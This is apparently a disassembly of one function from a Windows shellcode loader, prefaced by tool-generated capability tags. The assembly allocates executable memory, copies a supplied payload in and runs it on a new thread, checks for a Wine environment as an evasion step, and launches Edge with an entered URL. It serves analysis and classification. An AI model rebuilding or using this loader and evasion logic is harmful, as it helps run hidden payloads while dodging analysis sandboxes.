Function at 0x140001c70
Capabilities:
Allocate or change rwx memory
Check if process is running under wine
Create process on windows
Execute shellcode via indirect call
Link many functions at runtime

Disassembly:
push rbp
push r12
push r15
lea rbp, [rsp - 0x260]
sub rsp, 0x360
mov rax, qword [0x140099040]
xor rax, rsp
mov qword [rbp + 0x240], rax
mov r15, rdx
mov r12d, ecx
cmp ecx, 1
jle 0x140002164
mov rax, qword [rdx + 8]
mov qword [rsp + 0x358], r13
cmp byte [rax], 0x2d
jne 0x140001ce9
cmp byte [rax + 1], 0x69
jne 0x140001ce9
cmp byte [rax + 2], 0
jne 0x140001ce9
cmp ecx, 4
jne 0x140001cdd
lea rcx, str.Injecting____n
call fcn.140001030
mov rcx, r15
call fcn.1400016b0
jmp 0x140001ce9
lea rcx, [0x140005818]
call fcn.140001030
mov rax, qword [r15 + 8]
xor r13d, r13d
mov qword [rsp + 0x380], rbx
mov qword [rsp + 0x390], rsi
mov qword [rsp + 0x398], rdi
cmp byte [rax], 0x2d
mov qword [rsp + 0x350], r14
jne 0x140001dcd
cmp byte [rax + 1], 0x64
jne 0x140001dcd
cmp byte [rax + 2], r13b
jne 0x140001dcd
mov rdx, qword [r15 + 0x10]
lea rcx, [rsp + 0x60]
mov qword [rsp + 0x60], r13
call fcn.140001370
lea rcx, str.kernel32.dll
mov r14, rax
call qword [sym.imp.KERNEL32.dll_LoadLibraryA]
mov rcx, rax
lea rdx, str.VirtualAlloc
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
lea rcx, str.kernel32.dll
mov rdi, rax
call qword [sym.imp.KERNEL32.dll_LoadLibraryA]
mov rcx, rax
lea rdx, str.CreateThread
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov rdx, qword [rsp + 0x60]
lea r9d, [r13 + 0x40]
mov r8d, 0x1000
xor ecx, ecx
mov rsi, rax
call rdi
mov r8, qword [rsp + 0x60]
mov rdx, r14
mov rcx, rax
mov rdi, rax
call sub.VCRUNTIME140.dll_memcpy
xor r9d, r9d
mov qword [rsp + 0x28], r13
mov r8, rdi
mov dword [rsp + 0x20], r13d
xor edx, edx
xor ecx, ecx
call rsi
mov edx, 0xffffffff
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_WaitForSingleObject]
mov rax, qword [r15 + 8]
cmp byte [rax], 0x2d
jne 0x140001dee
cmp byte [rax + 1], 0x68
jne 0x140001dee
cmp byte [rax + 2], r13b
jne 0x140001dee
lea rcx, str._i_Inject_n_h_help_n_d_normal_n
call fcn.140001030
mov rax, qword [r15 + 8]
cmp byte [rax], 0x2d
jne 0x140001ec2
cmp byte [rax + 1], 0x73
jne 0x140001ec2
cmp byte [rax + 2], r13b
jne 0x140001ec2
mov edx, 0x80000000
mov ecx, 1
mov r8d, edx
call qword [sym.imp.KERNEL32.dll_MulDiv]
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
lea rdx, str.MulDiv_evasion_method_detected:_Wine_environment.
cmp eax, 2
jne 0x140001e3c
lea rdx, str.MulDiv_evasion_method_not_detected.
call fcn.140003100
lea rdx, [0x1400032d0]
mov rcx, rax
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64____cdecl___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64_____ptr64]
lea rcx, [0x140005628]
call qword [sym.imp.KERNEL32.dll_GetModuleHandleW]
mov rcx, rax
lea rdx, str.wine_get_unix_file_name
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
lea rcx, [0x140005660]
mov rbx, rax
call qword [sym.imp.KERNEL32.dll_GetModuleHandleW]
mov rcx, rax
lea rdx, str.wine_get_host_version
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
test rbx, rbx
jne 0x140001e9f
lea rdx, str.Wines_exclusive_APIs_not_detected.
test rax, rax
je 0x140001ea6
lea rdx, str.Wines_exclusive_APIs_detected:_Wine_environment.
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
call fcn.140003100
lea rdx, [0x1400032d0]
mov rcx, rax
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64____cdecl___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64_____ptr64]
mov rax, qword [r15 + 8]
cmp byte [rax], 0x2d
jne 0x140001fe3
cmp byte [rax + 1], 0x6e
jne 0x140001fe3
cmp byte [rax + 2], r13b
jne 0x140001fe3
cmp r12d, 3
je 0x140001ef5
lea rcx, [0x140005858]
call fcn.140001030
mov rdx, qword [r15 + 0x10]
lea rcx, [rsp + 0x68]
mov qword [rsp + 0x68], r13
call fcn.140001370
lea rcx, str.ntdll.dll
mov rsi, rax
call qword [sym.imp.KERNEL32.dll_LoadLibraryA]
mov rcx, rax
lea rdx, str.NtAllocateVirtualMemory
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
lea rcx, str.ntdll.dll
mov rbx, rax
call qword [sym.imp.KERNEL32.dll_LoadLibraryA]
mov rcx, rax
lea rdx, str.NtCreateThreadEx
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov r14, rax
mov qword [rsp + 0x70], r13
call qword [sym.imp.KERNEL32.dll_GetCurrentProcess]
mov rdi, rax
mov qword [rsp + 0x60], r13
call qword [sym.imp.KERNEL32.dll_GetCurrentProcess]
mov dword [rsp + 0x28], 0x40
lea r9, [rsp + 0x68]
mov rcx, rax
mov dword [rsp + 0x20], 0x1000
xor r8d, r8d
lea rdx, [rsp + 0x60]
call rbx
mov r8, qword [rsp + 0x68]
mov rdx, rsi
mov rcx, qword [rsp + 0x60]
call sub.VCRUNTIME140.dll_memcpy
mov rax, qword [rsp + 0x60]
lea rcx, [rsp + 0x70]
mov qword [rsp + 0x50], r13
mov r9, rdi
mov qword [rsp + 0x48], r13
xor r8d, r8d
mov qword [rsp + 0x40], r13
mov edx, 0x1fffff
mov qword [rsp + 0x38], r13
mov dword [rsp + 0x30], r13d
mov qword [rsp + 0x28], r13
mov qword [rsp + 0x20], rax
call r14
mov rcx, qword [rsp + 0x70]
mov edx, 0xffffffff
call qword [sym.imp.KERNEL32.dll_WaitForSingleObject]
mov rax, qword [r15 + 8]
mov r14, qword [rsp + 0x350]
mov rdi, qword [rsp + 0x398]
mov rsi, qword [rsp + 0x390]
cmp byte [rax], 0x2d
mov rbx, qword [rsp + 0x380]
jne 0x14000213e
cmp byte [rax + 1], 0x67
jne 0x14000213e
cmp byte [rax + 2], r13b
jne 0x14000213e
lea rcx, str.Input_Web
call fcn.140001030
lea rdx, [rbp]
lea rcx, [0x14000587c]
call fcn.140001090
movups xmm0, xmmword [str._C:Program_Files__x86_MicrosoftEdgeApplicationmsedge.exe_]
mov eax, dword [0x140005800]
lea rcx, [rbp + 0x7f]
movups xmm1, xmmword [0x1400057d8]
xor edx, edx
mov dword [rbp + 0x78], eax
movaps xmmword [rbp + 0x40], xmm0
mov r8d, 0x1c1
movups xmm0, xmmword [0x1400057e8]
movzx eax, word [0x140005804]
mov word [rbp + 0x7c], ax
movzx eax, byte [0x140005806]
movaps xmmword [rbp + 0x60], xmm0
movsd xmm0, qword [0x1400057f8]
movsd qword [rbp + 0x70], xmm0
movaps xmmword [rbp + 0x50], xmm1
mov byte [rbp + 0x7e], al
call sub.VCRUNTIME140.dll_memset
lea rcx, [rbp + 0x40]
dec rcx
cmp byte [rcx + 1], r13b
lea rcx, [rcx + 1]
jne 0x1400020a4
lea r8, [rbp]
xor edx, edx
nop dword [rax]
nop dword [rax + rax]
movzx eax, byte [r8 + rdx]
mov byte [rcx + rdx], al
lea rdx, [rdx + 1]
test al, al
jne 0x1400020c0
xorps xmm0, xmm0
mov dword [rbp - 0x70], 0x68
xor eax, eax
lea rdx, [rbp + 0x40]
mov dword [rbp - 0xc], eax
xor r9d, r9d
mov qword [rbp - 0x78], rax
xor r8d, r8d
lea rax, [rsp + 0x78]
xor ecx, ecx
mov qword [rsp + 0x48], rax
lea rax, [rbp - 0x70]
mov qword [rsp + 0x40], rax
mov qword [rsp + 0x38], r13
mov qword [rsp + 0x30], r13
mov dword [rsp + 0x28], r13d
mov dword [rsp + 0x20], r13d
movups xmmword [rbp - 0x6c], xmm0
movups xmmword [rbp - 0x5c], xmm0
movups xmmword [rbp - 0x4c], xmm0
movups xmmword [rbp - 0x3c], xmm0
movups xmmword [rbp - 0x2c], xmm0
movups xmmword [rbp - 0x1c], xmm0
movups xmmword [rsp + 0x78], xmm0
call qword [sym.imp.KERNEL32.dll_CreateProcessA]
call fcn.140001b80
mov r13, qword [rsp + 0x358]
xor eax, eax
mov rcx, qword [rbp + 0x240]
xor rcx, rsp
call fcn.1400035f0
add rsp, 0x360
pop r15
pop r12
pop rbp
ret
jne 0x14000216b
call fcn.140001b80
xor eax, eax
jmp 0x140002148